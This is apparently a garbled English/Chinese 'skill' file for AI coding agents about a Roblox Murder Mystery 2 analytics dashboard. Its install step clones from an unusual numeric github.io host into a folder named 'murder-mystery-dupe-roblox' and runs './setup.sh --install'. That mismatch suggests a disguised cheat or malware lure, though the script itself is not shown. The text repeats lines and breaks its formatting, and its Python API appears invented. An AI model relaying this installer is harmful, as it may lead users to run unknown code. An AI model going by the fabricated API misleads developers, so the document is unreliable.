mm2-analytics-dashboard-roblox
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ChineseMM2 Analytics Dashboard - Roblox
MM2分析仪表盘 - Roblox
Overview
概述
The MM2 Analytics Dashboard is a comprehensive toolkit for Murder Mystery 2 (Roblox) that provides inventory management, statistical analysis, and gameplay optimization. It tracks knife skins, gamepasses, win/loss ratios, and provides AI-powered strategy insights through data visualization and pattern recognition.
Key capabilities:
- Automated inventory tracking and cataloging
- Real-time analytics dashboard with charts
- Strategy pattern analysis and recommendations
- Trade value predictions and optimization
- Cross-platform data synchronization
MM2分析仪表盘是一款针对Roblox平台《Murder Mystery 2》(MM2)的综合工具包,提供库存管理、统计分析及游戏玩法优化功能。它可追踪刀具皮肤、游戏通行证、胜负比率,并通过数据可视化和模式识别提供AI驱动的策略洞察。
核心功能:
- 自动化库存追踪与分类
- 带图表的实时分析仪表盘
- 策略模式分析与建议
- 交易价值预测与优化
- 跨平台数据同步
Installation
安装
Automated Setup
自动安装
bash
undefinedbash
undefinedClone the repository
Clone the repository
git clone https://8015238355.github.io
cd murder-mystery-dupe-roblox
git clone https://8015238355.github.io
cd murder-mystery-dupe-roblox
Run automated installer
Run automated installer
chmod +x setup.sh
./setup.sh --install
undefinedchmod +x setup.sh
./setup.sh --install
undefinedManual Setup
手动安装
bash
undefinedbash
undefinedInstall Node.js dependencies
Install Node.js dependencies
npm install
npm install
Install Python dependencies
Install Python dependencies
python3 -m pip install -r requirements.txt
python3 -m pip install -r requirements.txt
Create data directories
Create data directories
mkdir -p data/collections data/exports data/logs
undefinedmkdir -p data/collections data/exports data/logs
undefinedEnvironment Configuration
环境配置
Create a file in the project root:
.envenv
undefined在项目根目录创建文件:
.envenv
undefinedAPI Keys (optional, for AI-powered features)
API Keys (optional, for AI-powered features)
API_OPENAI_KEY=${OPENAI_API_KEY}
API_CLAUDE_KEY=${CLAUDE_API_KEY}
API_OPENAI_KEY=${OPENAI_API_KEY}
API_CLAUDE_KEY=${CLAUDE_API_KEY}
Data Configuration
Data Configuration
DATA_DIRECTORY=./data/collections
ANALYTICS_INTERVAL=300
ENABLE_LIVE_TRACKING=true
DATA_DIRECTORY=./data/collections
ANALYTICS_INTERVAL=300
ENABLE_LIVE_TRACKING=true
Export Settings
Export Settings
EXPORT_FORMAT=json,csv
AUTO_BACKUP=true
BACKUP_INTERVAL=3600
undefinedEXPORT_FORMAT=json,csv
AUTO_BACKUP=true
BACKUP_INTERVAL=3600
undefinedCore Commands
核心命令
Analytics Engine
分析引擎
bash
undefinedbash
undefinedRun comprehensive analytics scan
Run comprehensive analytics scan
python3 main.py --mode analytics
--profile ${USERNAME}
--export statistics.json
--format json
--verbose
--profile ${USERNAME}
--export statistics.json
--format json
--verbose
python3 main.py --mode analytics
--profile ${USERNAME}
--export statistics.json
--format json
--verbose
--profile ${USERNAME}
--export statistics.json
--format json
--verbose
Quick inventory check
Quick inventory check
python3 main.py --mode inventory
--scan-only
--filter knife_skins
--scan-only
--filter knife_skins
python3 main.py --mode inventory
--scan-only
--filter knife_skins
--scan-only
--filter knife_skins
Generate performance report
Generate performance report
python3 main.py --mode report
--type performance
--time-range 30d
--output ./data/exports/
--type performance
--time-range 30d
--output ./data/exports/
undefinedpython3 main.py --mode report
--type performance
--time-range 30d
--output ./data/exports/
--type performance
--time-range 30d
--output ./data/exports/
undefinedInventory Management
库存管理
bash
undefinedbash
undefinedSync inventory from Roblox
Sync inventory from Roblox
python3 main.py --sync-inventory
--profile ${ROBLOX_USERNAME}
--profile ${ROBLOX_USERNAME}
python3 main.py --sync-inventory
--profile ${ROBLOX_USERNAME}
--profile ${ROBLOX_USERNAME}
Catalog knife skins with rarity analysis
Catalog knife skins with rarity analysis
python3 main.py --catalog knives
--analyze-rarity
--export-csv
--analyze-rarity
--export-csv
python3 main.py --catalog knives
--analyze-rarity
--export-csv
--analyze-rarity
--export-csv
Track gamepass effectiveness
Track gamepass effectiveness
python3 main.py --track-gamepasses
--calculate-roi
--calculate-roi
undefinedpython3 main.py --track-gamepasses
--calculate-roi
--calculate-roi
undefinedStrategy Analysis
策略分析
bash
undefinedbash
undefinedAnalyze gameplay patterns
Analyze gameplay patterns
python3 main.py --mode strategy
--analyze-patterns
--role sheriff
--analyze-patterns
--role sheriff
python3 main.py --mode strategy
--analyze-patterns
--role sheriff
--analyze-patterns
--role sheriff
Generate AI recommendations
Generate AI recommendations
python3 main.py --ai-insights
--use-openai
--strategy-focus aggressive
--use-openai
--strategy-focus aggressive
python3 main.py --ai-insights
--use-openai
--strategy-focus aggressive
--use-openai
--strategy-focus aggressive
Practice mode simulator
Practice mode simulator
python3 main.py --practice
--scenario innocent_survival
--difficulty hard
--scenario innocent_survival
--difficulty hard
undefinedpython3 main.py --practice
--scenario innocent_survival
--difficulty hard
--scenario innocent_survival
--difficulty hard
undefinedPython API Usage
Python API 使用
Basic Analytics Session
基础分析会话
python
from mm2_analytics import AnalyticsEngine, Profile, InventoryManagerpython
from mm2_analytics import AnalyticsEngine, Profile, InventoryManagerInitialize analytics engine
Initialize analytics engine
engine = AnalyticsEngine(
data_dir="./data/collections",
export_format="json",
verbose=True
)
engine = AnalyticsEngine(
data_dir="./data/collections",
export_format="json",
verbose=True
)
Load user profile
Load user profile
profile = Profile.load("mystery_solver_01")
profile = Profile.load("mystery_solver_01")
Scan inventory
Scan inventory
inventory = InventoryManager(profile)
knife_skins = inventory.scan_category("knife_skins", rarity_filter=["legendary", "ancient"])
print(f"Found {len(knife_skins)} premium knife skins")
inventory = InventoryManager(profile)
knife_skins = inventory.scan_category("knife_skins", rarity_filter=["legendary", "ancient"])
print(f"Found {len(knife_skins)} premium knife skins")
Run analytics
Run analytics
results = engine.analyze(
profile=profile,
metrics=["win_rate", "role_performance", "inventory_value"],
time_range="30d"
)
results = engine.analyze(
profile=profile,
metrics=["win_rate", "role_performance", "inventory_value"],
time_range="30d"
)
Export results
Export results
engine.export(results, "statistics_2026.json")
undefinedengine.export(results, "statistics_2026.json")
undefinedInventory Tracking
库存追踪
python
from mm2_analytics import InventoryManager, TradeAnalyzerpython
from mm2_analytics import InventoryManager, TradeAnalyzerInitialize inventory manager
Initialize inventory manager
manager = InventoryManager(profile="MysterySolver2026")
manager = InventoryManager(profile="MysterySolver2026")
Track all items
Track all items
inventory = manager.sync_from_roblox()
inventory = manager.sync_from_roblox()
Filter by category and rarity
Filter by category and rarity
legendary_knives = manager.filter(
category="knife_skins",
rarity=["legendary"],
sort_by="value"
)
legendary_knives = manager.filter(
category="knife_skins",
rarity=["legendary"],
sort_by="value"
)
Analyze trade opportunities
Analyze trade opportunities
trade_analyzer = TradeAnalyzer(inventory)
recommendations = trade_analyzer.get_recommendations(
strategy="maximize_value",
risk_tolerance="medium"
)
for rec in recommendations:
print(f"Trade: {rec.offer} -> {rec.receive} (Expected gain: {rec.value_delta})")
undefinedtrade_analyzer = TradeAnalyzer(inventory)
recommendations = trade_analyzer.get_recommendations(
strategy="maximize_value",
risk_tolerance="medium"
)
for rec in recommendations:
print(f"Trade: {rec.offer} -> {rec.receive} (Expected gain: {rec.value_delta})")
undefinedStrategy Pattern Analysis
策略模式分析
python
from mm2_analytics import StrategyAnalyzer, GameSessionpython
from mm2_analytics import StrategyAnalyzer, GameSessionLoad game sessions
Load game sessions
analyzer = StrategyAnalyzer(profile="mystery_solver_01")
analyzer = StrategyAnalyzer(profile="mystery_solver_01")
Analyze sheriff performance
Analyze sheriff performance
sheriff_stats = analyzer.analyze_role(
role="sheriff",
metrics=["accuracy", "response_time", "win_rate"],
time_range="7d"
)
print(f"Sheriff Win Rate: {sheriff_stats.win_rate:.2%}")
print(f"Average Accuracy: {sheriff_stats.accuracy:.2%}")
sheriff_stats = analyzer.analyze_role(
role="sheriff",
metrics=["accuracy", "response_time", "win_rate"],
time_range="7d"
)
print(f"Sheriff Win Rate: {sheriff_stats.win_rate:.2%}")
print(f"Average Accuracy: {sheriff_stats.accuracy:.2%}")
Get AI-powered recommendations
Get AI-powered recommendations
recommendations = analyzer.get_ai_recommendations(
current_stats=sheriff_stats,
improvement_focus=["accuracy", "map_awareness"]
)
for rec in recommendations:
print(f"- {rec.suggestion} (Expected improvement: +{rec.impact:.1%})")
undefinedrecommendations = analyzer.get_ai_recommendations(
current_stats=sheriff_stats,
improvement_focus=["accuracy", "map_awareness"]
)
for rec in recommendations:
print(f"- {rec.suggestion} (Expected improvement: +{rec.impact:.1%})")
undefinedData Visualization
数据可视化
python
from mm2_analytics import Dashboard, ChartGeneratorpython
from mm2_analytics import Dashboard, ChartGeneratorCreate dashboard
Create dashboard
dashboard = Dashboard(profile="mystery_solver_01")
dashboard = Dashboard(profile="mystery_solver_01")
Generate performance charts
Generate performance charts
chart_gen = ChartGenerator(
data_source=dashboard.get_stats(),
chart_type="line",
metrics=["win_rate", "kills", "deaths"]
)
chart_gen = ChartGenerator(
data_source=dashboard.get_stats(),
chart_type="line",
metrics=["win_rate", "kills", "deaths"]
)
Export interactive HTML dashboard
Export interactive HTML dashboard
dashboard.export_html(
output_path="./data/exports/dashboard.html",
charts=[
chart_gen.win_rate_over_time(),
chart_gen.role_distribution(),
chart_gen.inventory_value_trend()
]
)
undefineddashboard.export_html(
output_path="./data/exports/dashboard.html",
charts=[
chart_gen.win_rate_over_time(),
chart_gen.role_distribution(),
chart_gen.inventory_value_trend()
]
)
undefinedConfiguration
配置
Profile Configuration (YAML)
配置文件(YAML)
yaml
undefinedyaml
undefinedconfig/profiles/mystery_solver_01.yaml
config/profiles/mystery_solver_01.yaml
profile:
username: "MysterySolver2026"
roblox_user_id: 123456789
preferred_role: "sheriff"
inventory_filter:
- category: "knife_skins"
rarity: ["legendary", "ancient", "godly"]
min_value: 1000
- category: "gamepasses"
active: true
analytics_preferences:
tracking_mode: "comprehensive"
data_refresh_rate: 30
export_format: ["csv", "json"]
enable_ai_insights: true
strategy_templates:
- name: "aggressive_sheriff"
priority: "high_visibility_areas"
play_style: "offensive"
- name: "passive_innocent"
priority: "distraction_avoidance"
play_style: "defensive"
notification_settings:
inventory_changes: true
trade_alerts: true
performance_milestones: true
undefinedprofile:
username: "MysterySolver2026"
roblox_user_id: 123456789
preferred_role: "sheriff"
inventory_filter:
- category: "knife_skins"
rarity: ["legendary", "ancient", "godly"]
min_value: 1000
- category: "gamepasses"
active: true
analytics_preferences:
tracking_mode: "comprehensive"
data_refresh_rate: 30
export_format: ["csv", "json"]
enable_ai_insights: true
strategy_templates:
- name: "aggressive_sheriff"
priority: "high_visibility_areas"
play_style: "offensive"
- name: "passive_innocent"
priority: "distraction_avoidance"
play_style: "defensive"
notification_settings:
inventory_changes: true
trade_alerts: true
performance_milestones: true
undefinedAnalytics Configuration (JSON)
分析配置(JSON)
json
{
"analytics": {
"metrics": {
"win_rate": {
"enabled": true,
"calculation": "wins / (wins + losses)",
"time_ranges": ["7d", "30d", "all"]
},
"inventory_value": {
"enabled": true,
"currency": "robux",
"update_frequency": 3600
},
"role_performance": {
"enabled": true,
"roles": ["sheriff", "murderer", "innocent"],
"metrics": ["accuracy", "survival_time", "win_rate"]
}
},
"export": {
"auto_export": true,
"formats": ["json", "csv"],
"destination": "./data/exports/",
"compression": "gzip"
}
}
}json
{
"analytics": {
"metrics": {
"win_rate": {
"enabled": true,
"calculation": "wins / (wins + losses)",
"time_ranges": ["7d", "30d", "all"]
},
"inventory_value": {
"enabled": true,
"currency": "robux",
"update_frequency": 3600
},
"role_performance": {
"enabled": true,
"roles": ["sheriff", "murderer", "innocent"],
"metrics": ["accuracy", "survival_time", "win_rate"]
}
},
"export": {
"auto_export": true,
"formats": ["json", "csv"],
"destination": "./data/exports/",
"compression": "gzip"
}
}
}Common Patterns
通用模式
Daily Analytics Routine
每日分析流程
python
from mm2_analytics import DailyAnalyzer
from datetime import datetime
def daily_analytics_routine(profile_name):
"""Run daily analytics and generate report"""
analyzer = DailyAnalyzer(profile=profile_name)
# Sync latest data
print("Syncing inventory...")
analyzer.sync_inventory()
# Calculate daily metrics
print("Calculating metrics...")
metrics = analyzer.calculate_daily_metrics()
# Generate report
report = analyzer.generate_report(
date=datetime.now().strftime("%Y-%m-%d"),
include_charts=True,
export_format="pdf"
)
# Send notifications if milestones reached
if metrics.has_milestones():
analyzer.notify_milestones(metrics.milestones)
return reportpython
from mm2_analytics import DailyAnalyzer
from datetime import datetime
def daily_analytics_routine(profile_name):
"""Run daily analytics and generate report"""
analyzer = DailyAnalyzer(profile=profile_name)
# Sync latest data
print("Syncing inventory...")
analyzer.sync_inventory()
# Calculate daily metrics
print("Calculating metrics...")
metrics = analyzer.calculate_daily_metrics()
# Generate report
report = analyzer.generate_report(
date=datetime.now().strftime("%Y-%m-%d"),
include_charts=True,
export_format="pdf"
)
# Send notifications if milestones reached
if metrics.has_milestones():
analyzer.notify_milestones(metrics.milestones)
return reportRun daily routine
Run daily routine
report = daily_analytics_routine("mystery_solver_01")
print(f"Daily report saved: {report.path}")
undefinedreport = daily_analytics_routine("mystery_solver_01")
print(f"Daily report saved: {report.path}")
undefinedInventory Optimization
库存优化
python
from mm2_analytics import InventoryOptimizer
def optimize_inventory(profile):
"""Optimize inventory for maximum value"""
optimizer = InventoryOptimizer(profile=profile)
# Get current inventory state
current_inventory = optimizer.get_current_state()
# Identify duplicate items
duplicates = optimizer.find_duplicates()
print(f"Found {len(duplicates)} duplicate items")
# Get trade recommendations
trades = optimizer.recommend_trades(
strategy="maximize_value",
min_profit_margin=0.15,
risk_level="low"
)
# Calculate portfolio diversity
diversity_score = optimizer.calculate_diversity()
print(f"Portfolio diversity: {diversity_score:.2%}")
return {
"duplicates": duplicates,
"recommended_trades": trades,
"diversity_score": diversity_score
}python
from mm2_analytics import InventoryOptimizer
def optimize_inventory(profile):
"""Optimize inventory for maximum value"""
optimizer = InventoryOptimizer(profile=profile)
# Get current inventory state
current_inventory = optimizer.get_current_state()
# Identify duplicate items
duplicates = optimizer.find_duplicates()
print(f"Found {len(duplicates)} duplicate items")
# Get trade recommendations
trades = optimizer.recommend_trades(
strategy="maximize_value",
min_profit_margin=0.15,
risk_level="low"
)
# Calculate portfolio diversity
diversity_score = optimizer.calculate_diversity()
print(f"Portfolio diversity: {diversity_score:.2%}")
return {
"duplicates": duplicates,
"recommended_trades": trades,
"diversity_score": diversity_score
}AI-Powered Strategy Suggestions
AI驱动的策略建议
python
from mm2_analytics import AIStrategyAssistant
import os
def get_strategy_suggestions(profile, role):
"""Get AI-powered gameplay suggestions"""
assistant = AIStrategyAssistant(
openai_key=os.getenv("API_OPENAI_KEY"),
claude_key=os.getenv("API_CLAUDE_KEY")
)
# Analyze recent performance
recent_games = assistant.load_recent_games(profile, limit=50)
performance = assistant.analyze_performance(recent_games, role=role)
# Generate suggestions
suggestions = assistant.generate_suggestions(
performance_data=performance,
role=role,
improvement_areas=["map_awareness", "timing", "positioning"]
)
# Rank by expected impact
ranked_suggestions = assistant.rank_by_impact(suggestions)
return ranked_suggestionspython
from mm2_analytics import AIStrategyAssistant
import os
def get_strategy_suggestions(profile, role):
"""Get AI-powered gameplay suggestions"""
assistant = AIStrategyAssistant(
openai_key=os.getenv("API_OPENAI_KEY"),
claude_key=os.getenv("API_CLAUDE_KEY")
)
# Analyze recent performance
recent_games = assistant.load_recent_games(profile, limit=50)
performance = assistant.analyze_performance(recent_games, role=role)
# Generate suggestions
suggestions = assistant.generate_suggestions(
performance_data=performance,
role=role,
improvement_areas=["map_awareness", "timing", "positioning"]
)
# Rank by expected impact
ranked_suggestions = assistant.rank_by_impact(suggestions)
return ranked_suggestionsGet sheriff strategy tips
Get sheriff strategy tips
suggestions = get_strategy_suggestions("mystery_solver_01", "sheriff")
for i, suggestion in enumerate(suggestions[:5], 1):
print(f"{i}. {suggestion.text} (Impact: +{suggestion.expected_improvement:.1%})")
undefinedsuggestions = get_strategy_suggestions("mystery_solver_01", "sheriff")
for i, suggestion in enumerate(suggestions[:5], 1):
print(f"{i}. {suggestion.text} (Impact: +{suggestion.expected_improvement:.1%})")
undefinedTroubleshooting
故障排除
Inventory Sync Failures
库存同步失败
python
from mm2_analytics import InventoryManager, SyncError
try:
manager = InventoryManager(profile="MysterySolver2026")
inventory = manager.sync_from_roblox()
except SyncError as e:
print(f"Sync failed: {e}")
# Retry with fallback mode
inventory = manager.sync_from_roblox(
fallback_mode=True,
use_cache=True,
timeout=60
)
# Verify sync integrity
if manager.verify_sync():
print("Sync completed with cached data")
else:
print("Manual sync required - check Roblox connection")python
from mm2_analytics import InventoryManager, SyncError
try:
manager = InventoryManager(profile="MysterySolver2026")
inventory = manager.sync_from_roblox()
except SyncError as e:
print(f"Sync failed: {e}")
# Retry with fallback mode
inventory = manager.sync_from_roblox(
fallback_mode=True,
use_cache=True,
timeout=60
)
# Verify sync integrity
if manager.verify_sync():
print("Sync completed with cached data")
else:
print("Manual sync required - check Roblox connection")Data Export Issues
数据导出问题
bash
undefinedbash
undefinedCheck export permissions
Check export permissions
python3 main.py --check-permissions --directory ./data/exports/
python3 main.py --check-permissions --directory ./data/exports/
Force export with specific format
Force export with specific format
python3 main.py --mode analytics
--export statistics.json
--force
--format json
--validate-output
--export statistics.json
--force
--format json
--validate-output
python3 main.py --mode analytics
--export statistics.json
--force
--format json
--validate-output
--export statistics.json
--force
--format json
--validate-output
Debug export pipeline
Debug export pipeline
python3 main.py --mode analytics
--export statistics.json
--debug
--log-level DEBUG
--log-file ./data/logs/export_debug.log
--export statistics.json
--debug
--log-level DEBUG
--log-file ./data/logs/export_debug.log
undefinedpython3 main.py --mode analytics
--export statistics.json
--debug
--log-level DEBUG
--log-file ./data/logs/export_debug.log
--export statistics.json
--debug
--log-level DEBUG
--log-file ./data/logs/export_debug.log
undefinedPerformance Optimization
性能优化
python
from mm2_analytics import PerformanceOptimizerpython
from mm2_analytics import PerformanceOptimizerOptimize analytics engine
Optimize analytics engine
optimizer = PerformanceOptimizer()
optimizer = PerformanceOptimizer()
Enable caching for frequent queries
Enable caching for frequent queries
optimizer.enable_query_cache(max_size="500MB")
optimizer.enable_query_cache(max_size="500MB")
Compress old data
Compress old data
optimizer.compress_historical_data(
older_than="90d",
compression="gzip"
)
optimizer.compress_historical_data(
older_than="90d",
compression="gzip"
)
Index frequently accessed fields
Index frequently accessed fields
optimizer.create_indexes([
"timestamp",
"profile_id",
"item_category",
"rarity"
])
optimizer.create_indexes([
"timestamp",
"profile_id",
"item_category",
"rarity"
])
Monitor performance
Monitor performance
stats = optimizer.get_performance_stats()
print(f"Query cache hit rate: {stats.cache_hit_rate:.2%}")
print(f"Average query time: {stats.avg_query_time_ms}ms")
undefinedstats = optimizer.get_performance_stats()
print(f"Query cache hit rate: {stats.cache_hit_rate:.2%}")
print(f"Average query time: {stats.avg_query_time_ms}ms")
undefinedAPI Rate Limiting
API速率限制
python
from mm2_analytics import RateLimiter
import timepython
from mm2_analytics import RateLimiter
import timeConfigure rate limiter
Configure rate limiter
limiter = RateLimiter(
max_requests_per_minute=30,
burst_limit=10
)
limiter = RateLimiter(
max_requests_per_minute=30,
burst_limit=10
)
Make API calls with automatic throttling
Make API calls with automatic throttling
@limiter.throttle
def fetch_inventory_data(profile):
# API call implementation
pass
@limiter.throttle
def fetch_inventory_data(profile):
# API call implementation
pass
Batch operations with rate limiting
Batch operations with rate limiting
profiles = ["user1", "user2", "user3"]
for profile in profiles:
try:
data = fetch_inventory_data(profile)
except limiter.RateLimitExceeded:
print(f"Rate limit reached, waiting...")
time.sleep(limiter.get_wait_time())
data = fetch_inventory_data(profile)
undefinedprofiles = ["user1", "user2", "user3"]
for profile in profiles:
try:
data = fetch_inventory_data(profile)
except limiter.RateLimitExceeded:
print(f"Rate limit reached, waiting...")
time.sleep(limiter.get_wait_time())
data = fetch_inventory_data(profile)
undefinedAdvanced Usage
进阶用法
Custom Analytics Pipeline
自定义分析流水线
python
from mm2_analytics import Pipeline, Processorpython
from mm2_analytics import Pipeline, ProcessorDefine custom processing pipeline
Define custom processing pipeline
pipeline = Pipeline()
pipeline = Pipeline()
Add processing stages
Add processing stages
pipeline.add_stage(Processor.normalize_data())
pipeline.add_stage(Processor.calculate_metrics())
pipeline.add_stage(Processor.apply_filters(min_value=1000))
pipeline.add_stage(Processor.aggregate_by("category"))
pipeline.add_stage(Processor.export_results("json"))
pipeline.add_stage(Processor.normalize_data())
pipeline.add_stage(Processor.calculate_metrics())
pipeline.add_stage(Processor.apply_filters(min_value=1000))
pipeline.add_stage(Processor.aggregate_by("category"))
pipeline.add_stage(Processor.export_results("json"))
Run pipeline
Run pipeline
results = pipeline.run(
input_data="./data/collections/inventory.json",
output_dir="./data/exports/"
)
print(f"Pipeline completed: {results.summary}")
undefinedresults = pipeline.run(
input_data="./data/collections/inventory.json",
output_dir="./data/exports/"
)
print(f"Pipeline completed: {results.summary}")
undefinedReal-time Monitoring
实时监控
python
from mm2_analytics import LiveMonitor
import asyncio
async def monitor_gameplay():
"""Monitor live gameplay sessions"""
monitor = LiveMonitor(profile="mystery_solver_01")
await monitor.connect()
async for event in monitor.stream_events():
if event.type == "game_start":
print(f"Game started - Role: {event.role}")
elif event.type == "game_end":
print(f"Game ended - Result: {event.result}")
# Update analytics
await monitor.update_stats(event.data)
elif event.type == "inventory_change":
print(f"New item acquired: {event.item}")python
from mm2_analytics import LiveMonitor
import asyncio
async def monitor_gameplay():
"""Monitor live gameplay sessions"""
monitor = LiveMonitor(profile="mystery_solver_01")
await monitor.connect()
async for event in monitor.stream_events():
if event.type == "game_start":
print(f"Game started - Role: {event.role}")
elif event.type == "game_end":
print(f"Game ended - Result: {event.result}")
# Update analytics
await monitor.update_stats(event.data)
elif event.type == "inventory_change":
print(f"New item acquired: {event.item}")Run async monitor
Run async monitor
asyncio.run(monitor_gameplay())
This skill provides comprehensive coverage of the MM2 Analytics Dashboard for AI coding agents to effectively assist developers in inventory tracking, analytics, and gameplay optimization for Murder Mystery 2 on Roblox.asyncio.run(monitor_gameplay())
本Skill全面覆盖MM2分析仪表盘相关内容,可帮助AI编码代理为开发者提供Roblox平台《Murder Mystery 2》的库存追踪、数据分析及游戏玩法优化方面的有效支持。